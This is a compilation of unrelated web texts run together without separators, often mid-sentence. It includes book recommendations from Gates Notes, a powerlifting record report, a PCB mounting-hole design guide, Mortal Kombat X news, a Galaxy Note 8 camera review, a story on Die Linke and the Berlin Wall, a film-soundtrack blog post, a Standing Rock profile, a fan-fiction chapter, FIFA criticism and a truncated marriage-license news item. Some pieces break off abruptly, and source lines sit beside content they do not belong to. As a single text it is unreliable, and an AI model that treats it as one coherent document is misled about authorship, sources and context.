Here’s a list of books recommended by Vaclav Smil, who does interdisciplinary research in the fields of energy, environmental and population change, food production and nutrition, technical innovation, risk assessment, and public policy.
Nathan Myhrvold, was Microsoft’s Chief Technology Officer, and now follows a wide variety of interests.
Here’s a list of books recommended by Arne Duncan, the United States Secretary of Education and CEO of Chicago Public Schools.
Here’s a list of books recommended by Steven Pinker, a Harvard College Professor and Johnstone Family Professor in the Department of Psychology at Harvard University. He conducts research on language and cognition, and his most recent book is “The Better Angels of Our Nature: Why Violence Has Declined.”
Peter Diamandis, Abundance – Diamandis is even more optimistic than I am, and this book will remind readers of the opportunities we have to stave off disease, hunger, and privation. Henry Hitching, The Language Wars – a stylish history of style and usage, for those of you who have ever wondered who decides what’s correct and incorrect in the English language. Rebecca Goldstein, 36 Arguments for the Existence of God: A Work of Fiction – an exploration of the tension between faith and reason, played out in the romantic and academic fortunes of an atheist bestselling professor.
Here’s a list of books recommended by David Christian. David is a member of the Australian Academy of the Humanities who originated the “Big History” online course, which surveys the past on the largest possible scales.
Here’s a book recommended by Charles Kenny, a fellow at the Center for Global Development and the New America Foundation. He’s also the author of “Getting Better: Why Global Development is Succeeding, and How We Can Improve the World Even More.”
The book I’ve just finished is a couple of years old – so out in paperback and perfect for the beach. It’s A Splendid Exchange by William Bernstein – a history of trade from pretty much the beginning to now. That makes It a global history, but one focused on some of the most colorful of the world’s explorers and some of its most interesting technology. It particularly interesting to see how much truly globe-spanning trade has turned from an activity designed to bring a few luxuries to the very rich into a vital part of preserving the quality of life of everyone planet-wide.
Here’s a list of books recommended by Atul Gawande, a surgeon and public health researcher who practices general and endocrine surgery at Brigham and Women’s Hospital in Boston. He’s also the author of “The Checklist Manifesto.”
Michael Kinsley is a columnist for Bloomberg View and for many years was the Editor of The New Republic and a columnist for the Washington Post.
There is only one novel that makes the cut for any of the other distinguished recommenders. That is Zuleika Dobson (1911), by Max Beerbohm, a parody of life at Oxford. I would only give it a B+ (although there is a very funny portrayal of an American Rhodes Scholar). Those who are willing to leave the heavy stuff to Bill and are looking for something shorter and more amusing might consider: The Dog of the South, by Charles Portis. A first-person account of one man’s attempt to reclaim his wife by following her trail of credit-card charges.”It was cool up there and the landscape was not like the friendly earth I knew. This was the cool dry place that we hear so much about, the place where we are supposed to store things.” Memento Mori, by Muriel Spark. A group of old people in London keep getting a mysterious phone call from someone saying, “Remember you must die.” Scoop (or anything else) by Evelyn Waugh. This great novel of journalism has absolutely nothing to say about the profession’s current trials. Finally, I second Bill’s recommendation of Behind the Beautiful Forevers by Katherine Boo, an unbelievably rich account of the life of the unbelievably poor people who live on a mountain of trash next to Mumbai’s glamorous new international airport.
Source: The Gates Notes, various pages.Amit Sapir "officially" becomes the first man to hold the powerlifting squat record in 4 weight classes simultaneously! He made a huge 28 pound cut to make this weight class and came in at 180 pounds! He also benched 391 and pulled 611 for an outstanding total of 1764 pounds, not too far off of 10 x bw! He is now aiming to take the 198 wrapped record in just a few weeks as well.. Side note: Maliek Derstine recently squatted 800 and totaled 1955 a week before this for an official IPA world record however, it was not done on calibrated plates which has been the standard rule for Powerlifting Watch All-time World records. His lifts will be ranked number one on the rankings as calibrated plates are not a requirement to be ranked.Mounting holes are on every PCB design, but there is very little documentation about this subject matter. A Google or Wikipedia search on “Mounting Holes” renders no solutions to the PCB designer. Another issue that interferes with standardization is Imperial Unit ASNI hardware and ISO Metric hardware. So we’re going to have to explain both unit systems for clarity. But first let’s start with the basic fundamentals that both unit systems have in common.
Mounting hardware normally consists of these 4 items (See Figure 1) –
Phillips Head Screw Hex Nut Flat Washer Lock Washer
There are 4 types of mounting holes –
Supported – Plated through with annular ring Supported – Plated through with annular ring with vias Unsupported – Non-plated and with copper pads Unsupported – Non-plated and with no copper pads
The supported mounting hole usually gets tied to the GND plane without a Thermal Relief (a direct connection is best) and the supported hole w/vias gets both the main hole and the vias tied to the GND plane. Due to the fact that mounting hardware never gets soldered to the PCB, there is no reason for a Thermal Relief pattern and you connect all holes (including vias) directly to the plane. The unsupported (non-plated) hole has no connection to a GND plane layer and they require an outer layer keep-out defined that compensates for the hardware tolerances. See figure 2 for an illustration of the slop tolerance of a flat washer and the necessary copper keep-out sizing.
There are two primary reasons for adding vias to the supported mounting hole. The first was to insure that if the screw threads stripped the copper plating from the main hole that the vias would still provide adequate ground connections. The second reason was for additional support to prevent the PCB from crushing when too much torque was used to tighten the nut. The average via hole size for mounting holes is 0.5 mm. See Figure 3 for a supported mounting hole with vias.
See Table 1 for the most popular PCB hardware sizes for metric unit technology.
In Tables 2 and 4 there are 3 different padstack configurations for each metric screw size for land (pad) size calculations.
No Washer – Pan Head Clearance Flat Washer
The land (pad) diameter is equal to the hardware diameter and a placement courtyard is added to compensate for the slop tolerance indicated in Figure 2.
Note: These Land (pad) and Placement Courtyard padstack values are in the “Least” material values. You can add 0.25 mm for “Nominal” or 0.5 mm for “Most” Land (pad) and Placement Courtyard environments. The hole sizes are for a loose fit.
See Table 3 for the most popular PCB hardware sizes for ANSI standards.
The “Loose Fit” mounting holes are normally used on large boards greater than 100 mm (4”) and the “Tight Fit” mounting holes are commonly used for smaller board sizes.
There are some differences in hardware manufacturer’s feature sizes, so make sure that the hardware you use is adequately covered with the correct pad size and/or keep-out.
There are 3-Tiers for the Mounting Hole family, but the only difference is the “Placement Courtyard Excess”:
Least – 0.1 mm annular
Nominal – 0.25 mm annular
Most – 0.5 mm annular
Note: All numeric values in the Tables are in millimetersWith new footage of Mortal Kombat X now out in the wild, many players have been picking the gameplay apart for new information on how the game will play. While much has yet to be revealed, NetherRealm Studios’ Ed Boon recently took to Twitter to shed some light on the interactables and blocking system.
According to Boon, many of the background items in Mortal Kombat X will serve as movement options, allowing characters to propel themselves towards the opponent or safely escape a corner situation similar to how they worked in Injustice: Gods Among Us. Unlike Injustice, however, the projectile interactables will be blockable.
Which brings us to the next question on the community’s mind: will Mortal Kombat X maintain the series’ button-based blocking or transition to a hold back to block mechanic? Well, fans of tradition should be happy, as Boon also mentioned that the block button will be making a return in the upcoming title.
Mortal Kombat X is currently scheduled to release sometime in 2015. In addition to returning veterans Scorpion and Sub-Zero, the game’s cast will feature three new faces, all of which debuted in the latest gameplay trailer.
Source: Ed BoonThe Samsung Galaxy Note 8 “phablet” joins the growing number of dual-cam smartphones. The Note 8 features two 12MP sensors, the primary camera equipped with a wide-angle 26mm f/1.7 lens, and the second with a 52mm telephoto f/2.4 lens for x2 optical zoom shots. The Note 8 is Samsung’s first foray into the world of dual cameras and is a great success, offering the best zoom capabilities of any mobile device we’ve tested to date. Add to that PDAF autofocus, optical image stabilization, Auto HDR, and a massive 6.3” Super AMOLED display, and there’s plenty for smartphone photography enthusiasts to get excited about.
Key camera specifications:
Primary 12MP 1/2.55” sensor with 26mm (wide-angle) f/1.7 lens (1.4um pixel size)
Secondary 12MP 1/3.6” sensor with 52mm (telephoto) f/2.4 lens (1.0um pixel size)
(1.0um pixel size) x2 optical zoom (up to x8 with digital zoom)
PDAF autofocus
Optical Image Stabilization (OIS)
Dual-LED (dual tone) flash
6.3” (1440 x 2960) Super AMOLED display with 521ppi density
2160p@30fps (4K) video
About DxOMark Mobile tests: For scoring and analysis in our smartphone camera reviews, DxOMark engineers capture and evaluate over 1500 test images and more than 2 hours of video in both controlled lab environments and in natural indoor and outdoor scenes. This article is designed to highlight the most important results of the testing. For more information about the DxOMark Mobile test protocol, click here.
Test summary
Achieving an overall DxOMark mobile score of 94 points, the Note 8 becomes the new joint leader for smartphone image quality alongside Apple’s iPhone 8 Plus. A phenomenal photo sub-score that breaks new ground as the first smartphone to hit 100 points makes the Note 8 the current class-leader for stills, thanks to excellent zoom quality, good noise reduction and detail preservation, as well as fast and accurate autofocus. The Note 8 doesn’t quite match the same heights for video, where its sub-score of 84 is a little behind the best performers, such as the Google Pixel with 91 points,
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Die Linke have repeatedly caused controversy since forming in 2007. Gesine Lötzsch, national chair of Die Linke, caused a storm on Friday by describing the construction of the wall as a logical consequence of the war.
On Saturday the far-left weekly newspaper Junge Welt (Young World) marked the wall's anniversary with a front cover featuring a picture of armed East Berlin soldiers defending the German-German border at the Brandenburg Gate.
"Thank you" ran the headline, and underneath were 13 reasons to be grateful for the wall: "For 28 years without sending German soldiers to war … for 28 years without unemployment and unemployment benefit … for 28 years of no doctors' fees and no two-tier health system … for 28 years of education for all."
The story even paid tribute to 28 years of Club Cola, East Germany's answer to the Coca-Cola of the imperialist west, and of FKK, a nudist movement popular in East Germany.
Meanwhile, secret files obtained by Der Spiegel magazine apparently show that West Germany's post-war chancellor Konrad Adenauer wanted to "swap" West Berlin for a more convenient and fruitful bit of East Germany.
The western part of the divided capital was difficult to defend as it was an island in the middle of the German Democratic Republic (GDR). Adenauer is believed to have proposed a secret deal with the Soviet Union to the US foreign minister Dean Rusk just a few days before construction of the wall began on 13 August 1961.
According to Der Spiegel, the chancellor described the proposed deal as an "advantageous exchange" for West Germany. In exchange for relinquishing West Berlin Adenauer wanted the state of Thuringia, as well as parts of Saxony and the northern state of Mecklenburg-Vorpommern.
These were areas that had been occupied by British and US soldiers at the end of the war and then handed over to the Soviet Union in order to gain control of part of the capital. Adenauer apparently planned to reverse this deal.
The chancellor, who governed from 1949 to 1963, believed West Germany would gain prosperous new industrial areas in the deal. After initially taking Adenauer's idea seriously, Kennedy eventually "recoiled" from the proposal, Der Spiegel reported, and West Berlin remained marooned in the GDR until reunification on 3 October 1990.Boy, it’s been two months since I did a Music Break post, as I missed doing one in December! Well, now it’s the last day in January and I’ve been wanting to highlight this soundtrack for some time, so today is as good a time as any.
I’ve mentioned a few times on this blog that I wasn’t enamored by this film. I appreciate the character study of a down-on-his-luck folk singer set in New York City’s Greenwich Village in 1961, but it feels so indulgently aimless. To be honest, the decidedly-morose tone makes this film much longer than 1 hour and 45 minutes! The pointless ending especially rubs me the wrong way. I guess I just don’t get what the point of it all is, which I find quite frustrating.
But hey, I’m not going to focus on the negative as there are two things I really enjoyed about the film (well three if I count the cat) and those are Oscar Isaac’s acting/singing and the music. According to this Rolling Stones article, the Coens thought their screenplay was ‘un-filmable’ before they saw Isaac … “Where would they find a crazy-talented singer-guitarist with movie-star presence and major comic acting chops?” Well I’m very glad that their paths crossed!
The opening sequence of Llewyn singing at the bar singing this song is exquisite, and it really makes me want to know more about the character.
Isaac is a Guatemalan-born actor who’s been on my radar for some time ever since I saw him as the spoiled Prince John in Ridley Scott’s Robin Hood. He’s apparently trained Juilliard where he was encouraged to work on his voice. ‘Through doing the basic practical classes, learning how to use my diaphragm, I really figured out how to sing and what it was that I sounded like.’ [per Telegraph]. He was also in a punk bank before his dramatic training, as a frontman for a band called the Blinking Underdogs when he went through the Cure phase. He said he was a terrible singer then but surely that’s not the case as I LOVE his voice. I’m going to have to update my old list of Actors who are surprisingly good singers. I think the fact that he can actually play guitar really well AND has a naturally melodic voice adds so much realism to his character, it’s as if I was really watching a part-Welsh musician named Llewyn Davis instead of an actor playing one.
Now this clip below is one of the highlights from the film. It’s hilarious and bizarre, with great supporting turn from Justin Timberlake and Adam Driver.
Lastly, here’s a recording of Isaac with Marcus Mumford of Mumford & Sons:
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[SPOILER alert] It’s quite amusing that Bob Dylan appears at the end of film. He’s a music legend who I’m not really fond of. I always joke that I don’t get the Coens’ style and Bob Dylan’s music, two blasphemous things for people living in Minnesota, ahahahaha. In fact, I said to my hubby afterwards that if Llewyn Davis were a real musician, I’d rather buy his records than Dylan’s 😀
So yeah, even though I won’t buy the dvd of Inside Llewyn Davis, I’d readily buy the soundtrack.
Hope you enjoy the music break today. Thoughts on this soundtrack and/or the film?
AdvertisementsOCETI SAKOWIN CAMP, North Dakota — When then-10-year-old Morgan Brings Plenty needed to use the bathroom in her new school, she respectfully asked for permission. But instead of giving her permission, she said the teacher responded by hitting her with a ruler for speaking Lakota, her native language and the only language she knew.
“I was scared — I was the only Native American at that elementary school, and I was hit for speaking my language,” said Brings Plenty, who was in the fifth grade when she moved from the Cheyenne River Reservation in Eagle Butte, South Dakota, to a suburban town in Washington state.
Brings Plenty said she was raised hearing stories about the discrimination her parents and grandparents experienced growing up decades ago, and wants people to know in many ways nothing has changed.
“Some people say that we haven’t experienced what happened in boarding schools, which were 50 to 60 years ago, but there are some things that are happening today,” Brings Plenty said. Beginning in the 1800s, many Native American children were ripped from their families and placed in boarding schools in efforts by the U.S. government to destroy native cultures and language.
Brings Plenty is now a 22-year-old youth leader at Oceti Sakowin, one of five camps that dot the hilly landscape near the Standing Rock Sioux Reservation in North Dakota. Hundreds of tribes and thousands of people are living in teepees and tents in the camps, where they vow to stay until construction of the Dakota Access Pipeline is permanently stopped.
They say the pipeline company, Energy Transfer Partners, is trespassing on treaty land and has disturbed sacred sites. Calling themselves water protectors, they hope to prevent the company from running the pipeline under the nearby Missouri River, a source of drinking water for millions of Americans.
Water protectors, who disrupt construction work using nonviolent direct action — by blocking roadways, obstructing work zones and holding prayer ceremonies — have been met by an increasingly militarized police presence. Since August, hundreds have been arrested by police using rubber bullets and pepper spray, and deploying Long Range Acoustic Devices (LRADs are sound cannons).
The pipeline company and local law enforcement monitor the water protectors and their activities from the air, and protectors say stingray technology is being used to scramble online reception and to quickly drain cellphone batteries. The Morton County Sheriff’s office did not respond to multiple requests for comment. Via email, Energy Transfer Partners said, “Our top priority is safety — the safety of our workers and our assets, the safety of those who live and work in the area and the safety of the environment.”
In the midst of ongoing tension, the smell of campfires, sage and sweetgrass linger in the camp air while children play on bikes and young men practice horsemanship. Tribal flags snap in the fierce North Dakota wind. In anticipation of North Dakota’s notoriously brutal winter, a collective effort is underway to winterize the camp.
Brings Plenty, who is from the Mnicoujou band of the Cheyenne River Sioux, said her experience at school has motivated her to defend her culture.
“I used to hate being who I was and I wanted to change who I was,” she said. “But then I realized I came from a great tribe and a loving, rich culture, and that should be shared with others.
“When I was younger, I’d get in trouble in class because I’d correct the spellings,” Brings Plenty said with a grin, referring to the frequent misspelling of native names in school textbooks. Native history, culture and traditions are often inaccurate or omitted from textbooks. Since then, she’s been involved in the efforts to stop the Keystone XL Pipeline as well as one to save wild buffalo.
She and her family returned to the Cheyenne River Reservation after her eighth grade year, a move she said she feels her family was predestined to make.
“Living on the reservation is like living in a Third World country,” she said, adding that good housing and jobs on the reservation are often hard to find.
“But on the reservation, you’re living with your parents and grandparents, which we don’t mind at all,” said Brings Plenty. “It’s how we were raised up, to help our elders.
“We believe the spirits took us back home to fight these pipelines,” she said, referring to the Dakota Access Pipeline and the Keystone XL Pipeline. Although the southern leg of the Keystone XL pipeline is already complete, the northern leg was rejected by President Barack Obama last year.
Brings Plenty, who has lived at the camp on and off since June, said she’s been involved in some of the peaceful efforts to stop pipeline construction crews but has had to stay back since the police started using the LRADs.
“I have epilepsy, and that noise could cause seizures,” said Brings Plenty, who added that she recently got new medication and earplugs to block the sounds.
Still, she said, there’s plenty to do and staying at the camp is eye-opening.
“There’s a lot of things here that school never says, that you can learn here from your elders,” said Brings Plenty, who is part of the camp’s International Indigenous Youth Council.
The youth council helps with actions to slow work of the pipeline company, works with troubled youth and encourages young people to share their stories with each other. During her time in camp, she’s used Instagram and Youtube to share the voices and perspectives of native youth.
Brings Plenty said she believes in the prophecy of the seventh generation, which says that her generation — seven generations after the white man came — would retake what was stolen from her tribe. According to prophecy, black snakes — or pipelines — would come to the land, bringing with them great destruction.
She said the experience she suffered in school brought her closer to her great-grandmother, who passed in 2012.
“My great-grandmother, who is almost 90, told me her stories of being in the boarding school, and now I have these of being forced to speak English,” she said.
Brings Plenty said she hopes to be able to tell her children and grandchildren stories of how her generation successfully stopped the black snakes and protected the water.
“Despite that it’s the day after the Trump election, we have to stand up and be heard,” she said. “We can’t be fearful, because that’s what people thrive on is fear. This country was built off stolen land and fear — you shouldn’t let fear be who you are.”The remaining students explore the new floor. How will they react to Rokuro's attempted murder in the last trial? As always, comments and critique are welcomed and encouraged. enjoy the read!---
A Life of Deadly Despair
Chapter 5- Despondent Despair
Part 1
You don’t remember falling asleep, or even leaving the courtroom, but when you open your eyes you’re sitting in a classroom. As you look around, you see all your classmates are still alive. Jackson is sitting up front, focusing on the teacher intently. Miho’s sitting next to you, folding paper airplanes and giggling to herself. Up front, you see your teacher, a tall woman with long, black hair.
Your teacher asks you a question, and you’re about to answer when the intercom buzzes.
“Could Hachiro Fukui please come to the principal’s office,” a soft, feminine voice asks.
You blush as you stand up, your classmates muttering under their breath and trying not to look at you. They all know why you’re being called to the principal’s office. Lately, the rumors of Ultimate Despair have been spreading like wildfire.
You stand before the office, trying to remain calm. You don’t know anything, so you have nothing to fear, right? You raise a trembling fist and knock on the door, swallowing hard.
“Come in,” says a voice on the other side of the door.
You take one more deep breath before you open the door. As you step inside, you see Principal Kirigiri sitting behind his desk, looking through some papers. He gestures you to sit without looking up. You take your seat before him, heart pounding in your chest. Why are you so nervous?
“I’m sure you’ve heard the rumors,” he says, still looking through the papers.
You nod, too nervous to say anything. Why was he calling you here? All the faculty seemed to avoid this subject, but he’s discussing this as casually as he would the weather.
“I know you don’t want to betray your friends,” Principal Kirigiri says, looking up at you. “But you do understand the consequences, right?”
“What are you getting at,” you ask, raising an eyebrow.
“We know one of your classmates is a member of that organization,” he says bluntly, narrowing his eyes at you. “I just need you to tell me anything suspicious you’ve noticed lately.”
“I haven’t seen anything,” you say flatly, shaking your head. “And I don’t believe the rumors anyway. They’re all my friends. There’s no way one of us could be part of something like that.”
“They’re manipulating you, Hachiro,” Principal Kirigiri sighs, shaking his head. “We have our suspicions about who it is. All I need you to do is tell me about them. Tell me everything you know about-“ His voice fades to static, preventing you from hearing the name.
* * *
You jerk awake at Monokuma’s morning announcement. You rub your temples, trying to forget about the dream you had. You get ready as usual, trying as hard as possible to keep your mind completely blank.
When you walk into the cafeteria, you see your classmates sitting at the central table eating cereal. They all look as tired as you feel, and you can’t help but remember the dream as you sit down. Did they dream something like that too?
“A new floor should have opened up,” Hikari says, derailing your train of thought. “Shall we look around after breakfast?”
“Yeah, maybe we’ll find something cool,” Rokuro suggests, smiling to himself.
Nobody says anything as a few students eyeing Rokuro nervously. They don’t have to say anything for you to know what they’re thinking, however. Rokuro tried to kill Miho just yesterday. Sure, it was out of desperation. Sure, he didn’t succeed. You doubt any of that matters to the others, though.
“Right,” Akinobu says after a long, uncomfortable pause. “We should probably search the fourth floor again. Maybe one of those locked doors opened up.”
“Sh-should we split up th-this time,” Mayumi stammers, glancing at Rokuro out of the corner of her eye.
“No, we need to stick together,” Yoshi says, scratching his nose. “There are so few of us that splitting up probably isn’t a good idea.”
Rokuro frowns as the group stands up and heads into the hall. He doesn’t say anything, just following behind everyone silently. You give him a worried look, and he merely shakes his head at you as if to tell you not to worry about it.
When the group makes it to the fourth floor, Akinobu wastes no time in checking the doors which were locked yesterday. He tries the one closest to the stairs first, the door marked DATA. He sighs as he tries to turn the knob, realizing it’s still locked.
“I expected as much,” he sighs, shrugging. “What was the other room again?”
“The umm… the principal’s office,” you say, swallowing hard.
Images from your dream flood your mind just thinking about it. The principal sitting behind his desk, questioning you about the traitor. You try not to think about it as Akinobu leads the way to the office.
“Here goes nothing,” Akinobu sighs, reaching out to twist the knob.
“This is a waste of time, n’est-ce pas,” Olivier says, raising Mademoiselle Bellerose. “Certainly this door is locked as well.”
Akinobu turns the doorknob, ignoring Olivier. To everyone’s surprise, the doorknob slowly starts turning. It sticks at first, but Akinobu grins and twists the knob with all his strength. The door slowly creaks open, revealing a large desk at the back of the office.
“Looks like you spoke too soon, puppet boy,” Yoshi teases, grinning as he steps into the principal’s office. Olivier shoots him a glare, but says nothing as he follows behind.
“What exactly are we looking for, Master Kouda,” Hikari asks, shutting the door to the office behind her.
“I’m not sure, to be honest,” Akinobu grins, shrugging. “I didn’t think it would be unlocked.”
“Let’s just look around and see what comes up,” Rokuro suggests hesitantly. He frowns again as he looks at the group, their faces unsure.
“That’s a good idea,” you say, clearing your throat. You smile at Rokuro, trying to reassure him. The others might be slightly mistrusting after last trial, but you’re trying to have faith in him.
The group fans out and begins searching the principal’s office. You decide to search the desk at the back of the office, knowing there has to be something there.
“They’re manipulating you, Hachiro.”
Your principal’s words echo in your mind as you open a drawer. You shake your head, ignoring him, as you pull a file out of the drawer. On the cover in hastily scrawled handwriting reads “Ultimate Despair Suspects”.
“Hey guys, look at this,” you say, setting the file on the desk.
“Wh-what is it,” Mayumi stutters, twisting her braid.
“Something about the traitor, no doubt,” Hikari says, pointing to the writing on the cover.
You nod and open the file, hand shaking slightly. Inside you see a group photo of your class. Everyone’s face is crossed out, with the exception of you and the students still alive.
“Oh my g-god,” Mayumi gasps, covering her mouth with her hand. “Is this s-some kind of h-hit list?”
“I don’t think so,” Akinobu says, pointing to the top of the photo. “Look at this.”
At the top of the photo, you see more hastily scrawled writing. “List of possible suspects. Narrow down as needed.”
“Wait,” Rokuro says, stroking his chin. “Does that mean one of the seven of us…?” His voice trails off as he shudders, not wanting to say what the rest of you are surely thinking.
According to this file, one of you used to be a member of Ultimate Despair. According to this file, the traitor is still alive.
“How interesting,” teases a voice behind you, making you jump. You whirl around to see Monokuma sitting in a chair. “I really misjudged you guys. To think one of you worked for that lovely organization!”
“Shut up, bear,” Yoshi barks, raising his middle finger at Monokuma.
“My, my, my,” Monokuma cackles, his red eye gleaming. “Looks like somebody is a bit touchy lately!” Monokuma vanishes without another word.
“That bear is rather bothersome, non,” Mademoiselle Bellerose asks, shaking her wooden head. “Why can’t he just leave us alone?”
“Just ignore him,” Akinobu says, opening the door to the hallway. “Let’s just look around the next floor.”
Everyone nods, following Akinobu out into the hall and up to the fifth floor. When you reach the top of the stairs, you see two classrooms immediately to your right.
“We may as well check these,” Rokuro says, not even waiting for a response as he opens the door to classroom 5-A.
The first thing you notice is the tacky wallpaper in this room. It has a giraffe print on it, which looks horrid against the pink tiled floor. At the front of the classroom, you see a blackboard.
“Who is the traitor,” Hikari reads, looking at the scratchy handwriting on the blackboard. She frowns slightly as she smooths out her apron. “How unsettling.”
“Monokuma’s just trying to freak us out,” you say, shaking your head. You step back out into the hall, ignoring the blackboard.
“Maybe we’ll find something in here,” Madame Bellerose suggests as Olivier opens the door to classroom 5-B.
Behind the door, your eyes are assaulted by more hideous wallpaper. This time, it’s zebra print, but it still looks awful against the pink tiled floor.
“Who decorated this place,” Yoshi scoffs, stepping into the classroom. “I mean, did they make a blatant effort to make the room look bad?”
“They’re m-manipulating you,” Mayumi stammers, reading the blackboard at the front of the classroom. She bites her lip as she looks at everyone. “D-does that mean the t-traitor?”
“Just ignore it,” Rokuro sighs, shaking his head. “There is no traitor, alright? Monokuma is trying to get us to turn against each other.”
“Mon dieu,” Mademoiselle Bellerose gasps, covering her mouth with a wooden hand. “That sounds like something a traitor would say.” Olivier grins, apparently just teasing Rokuro.
Rokuro flinches at his words, though. Olivier may have been kidding, but it’s clear Rokuro took it personally.
“Whatever,” he says flatly, turning and exiting the classroom.
“Master Baron, please,” Hikari scolds, narrowing her eyes at Olivier. “He’s tense enough as is. Must you antagonize him?”
“Désolé,” Mademoiselle Bellerose says. “I was merely trying to lighten the mood.”
Your group soon comes across a fork in the hallway. One path leads to the right, while another leads to the left.
“Which way should we go,” Yoshi asks, scratching his cheek.
“We’ll flip a coin,” Akinobu says, pulling a coin out of his pocket. “Heads we go left, tails we go right.”
Akinobu tosses the coin into the air, his eyes following it. He catches it on the way down and flips it over onto the back of his hand.
“Heads,” he says as he reveals the coin. “Left it is.”
Akinobu heads left, the group following behind him. On the left side of the hallway, you see a door with a sign reading “DOJO”. You open the door and step inside, wondering what you’ll find in here.
Immediately, your eyes are drawn to the back of the dojo, where two rows of cherry trees. The trees are in full bloom, their pink petals slowly drifting to the floor. Between the two rows, you see an archery range with several targets and a few bows.
“That’s creepy,” Yoshi says, pointing to a wooden dummy near the door. “What do you think it’s for?”
“P-probably to practice s-sword fighting,” Mayumi stammers, looking into an open trunk. “There’s l-lots of bamboo swords i-in here.”
“It’s rather pretty, don’t you think,” Hikari remarks, looking at the cherry blossoms. “So peaceful, considering the room’s purpose.”
“Yeah, I could stay here all day,” you agree, watching the cherry blossoms fall.
“Well unfortunately we can’t,” Akinobu sighs, stepping back out into the hall.
You follow Akinobu, hesitating slightly. You really wanted to just watch the blossoms. It’s so peaceful, providing a great distraction from your situation.
Across the hall, you see another door, marked “GREENHOUSE”. Hikari’s the first one to the door, a grin spreading across her face.
“Maybe we’ll see more beautiful flowers,” she says, opening the door and stepping inside.
Right away, you notice how warm and humid it is in the greenhouse. You can feel beads of sweat forming on your brow already, but you look around anyway.
To your right, you see a tool shed. Yoshi walks over to inspect it, while Mayumi wanders over to a chicken coop on the right. You’re about to investigate the chicken coop, when a large flower catches your eye in the center of the greenhouse.
You and Rokuro step up to the flower cautiously. You see a sign to the side of the flower, which gives information about it. According to the sign, this flower is known as the Monokuma Flower. It was created by a student of the school, Shikiba “Santa” Tatata.
“I wouldn’t get to close if I were you,” warns a voice high above your head. As you look up, you see Monokuma standing on a walkway leading directly over the top of the flower.
“Why not,” Rokuro asks, sounding nervous. He takes a step back, eyeing the flower suspiciously.
“Because this gorgeous flower is pretty deadly,” Monokuma says, his red eye flashing. “It’s carnivorous, and can eat things as big as a cow!”
“A c-cow,” you repeat, eyes growing wide. “That’s impossible!”
“Then jump in and find out,” Monokuma teases before disappearing.
You shudder, imagining the flower digesting it’s prey. You and Rokuro look at each other nervously, deciding it’s best to leave the flower alone for now. The two of you rejoin the group and return to the hall.
“This floor is so beautiful,” Hikari sighs, seeming happy. “All this beautiful plant life is a great change of scenery.”
“Oui, it is rather pleasing,” Mademoiselle Bellerose agrees, Olivier turning her wooden head back to face the greenhouse.
“Let’s hope the other rooms are as nice,” Akinobu says as he heads down the right path at the fork.
You see another door, marked 5-C, on the right side of the hallway. Mayumi steps forward to open it, but the door is locked.
“Wh-why are there so m-many locked doors in th-this place,” Mayumi asks, twisting her braid. “It’s l-like someone’s trying t-to hide something from u-us.”
“Whatever’s in there must be pretty important,” Yoshi says, raising an eyebrow as he looks at the door.
“We’ll have to worry about that later,” Akinobu sighs, continuing down the hall. “There’s no use speculating if we can’t get in.”
At the end of the hall, you see one final door. This door is labeled “BIO LAB”, and it seems different from the rest. While the other doors were made of wood, this door is made of cold steel. It gives off an ominous, foreboding vibe.
Akinobu opens the door and steps into the bio lab, holding the door for the rest of you. In the middle of the room, you see several metal tables with various pieces of equipment lying on them. What really catches your eye, however, are sixteen cupboards on the right side of the room.
Each cupboard has a light above it, though only nine of them are lit. It looks like each cupboard goes deep into the wall, but you can’t be sure until you open them. Mayumi steps up to the cupboards, looking puzzled.
“What d-do you think is i-in here,” she asks, reaching for the third cupboard door. She opens the door, her hands trembling nervously. She lets out a startled scream as she peeks inside, jumping away from the cupboard.
“Mayumi, what is it,” you shout, running over to her in concern.
“B-b-b-bodies,” she stammers, shaking her head vigorously. “Y-Y-Yasuo’s body is i-i-in there!”
“She’s right,” Akinobu says, pulling a drawer out of the cupboard.
Lying on a metal table in the cupboard, you can see Yasuo’s lifeless body. You flinch, seeing the bruises around his neck where he had been strangled.
“What the fuck is this,” Yoshi growls, slamming the cupboard door shut. “Is this some kind of sick joke?”
“This is no joke,” Monokuma says, sitting on one of the metal tables.
Yoshi charges at Monokuma, but Akinobu manages to grab him and hold him back. “Explain yourself, bear,” Yoshi demands, glaring at Monokuma.
“Well I had to keep their bodies somewhere, didn’t I,” Monokuma asks in a mocking tone. “The bio lab seemed like the best place to me.”
“How cruel,” Mademoiselle Bellerose gasps, once again covering her mouth. “How could you do such a thing?”
Monokuma cackles, but says nothing as he disappears. Once Akinobu is sure he won’t come back, he releases his hold on Yoshi.
“Can you believe that asswipe,” Yoshi growls, still visibly angry.
“It’s alright, Master Kita,” Hikari says, placing a hand on Yoshi’s shoulder. “At least the bodies are being handled with respect.”
Yoshi looks like he wants to say something particularly nasty, but he sighs. “You’re right,” he agrees after a small pause. “Well I’ll be in the rec room if you guys need me.”
Yoshi leaves the bio lab, and the group follows after him one by one. You wonder who you should spend time with now that the exploration is done.• ‘Credibility of football’s world governing body is in freefall’ • ‘Coordinated action needed with support of many countries’
The chief executive of Germany’s Bundesliga launched a scathing attack on Fifa, saying coordinated action was needed from Europe to reform world football’s governing body.
Fifa is in the middle of a crisis and has been fending off allegations of corruption over the awarding of the 2018 and 2022 World Cups to Russia and Qatar respectively.
“One does not know if one should wonder or feel ashamed for them,” Christian Seifert told Süddeutsche Zeitung. “It cannot be acceptable when Fifa’s credibility is in a freefall. As a serious organisation we feel that we are not represented by this Fifa.”
German football officials are unhappy with Qatar being picked as the hosts of the 2022 tournament.
The tiny Gulf state, enriched by its vast natural gas resources, has virtually no football tradition, has never qualified for the World Cup and does not have the appropriate climate for a summer World Cup, which has produced another huge debate about what time of the year the tournament should be staged.
Seifert stopped short of calling for a boycott but said some 75% of players at a World Cup were under contract in Europe. He added that any action against Fifa should be a coordinated action with the support of many countries.
“When Europe says ‘we will not play’ then that changes everything. A boycott would be an effective weapon but one has to think things through,” he said.
“Everyone would have to agree and I have serious doubts about it. France is very unlikely to turn against Qatar with [Uefa President] Michel Platini considered a Qatar supporter. If it is then only Germany and England that remain, then I fear it is not strong enough.”
The former chairman of the English Football Association, David Triesman, who led England’s failed bid for the 2018 tournament, has urged European nations to boycott both tournaments unless Fifa transforms itself into a transparent, open organisation.
Russia and Qatar deny any wrongdoing and the German judge Hans-Joachim Eckert’s summary of the report by the Fifa-appointed investigator, Michael Garcia, was that there were no grounds to reopen the bidding process.
However, Garcia said Eckert’s statement contained misrepresentations and he would refer the report to Fifa’s appeal committee.Updated, 8:30 p.m. EDT
NORRISTOWN, Pa. — At least five same-sex couples obtained marriage licenses Wednesday in a suburban Philadelphia county that is defying a state ban on such unions.
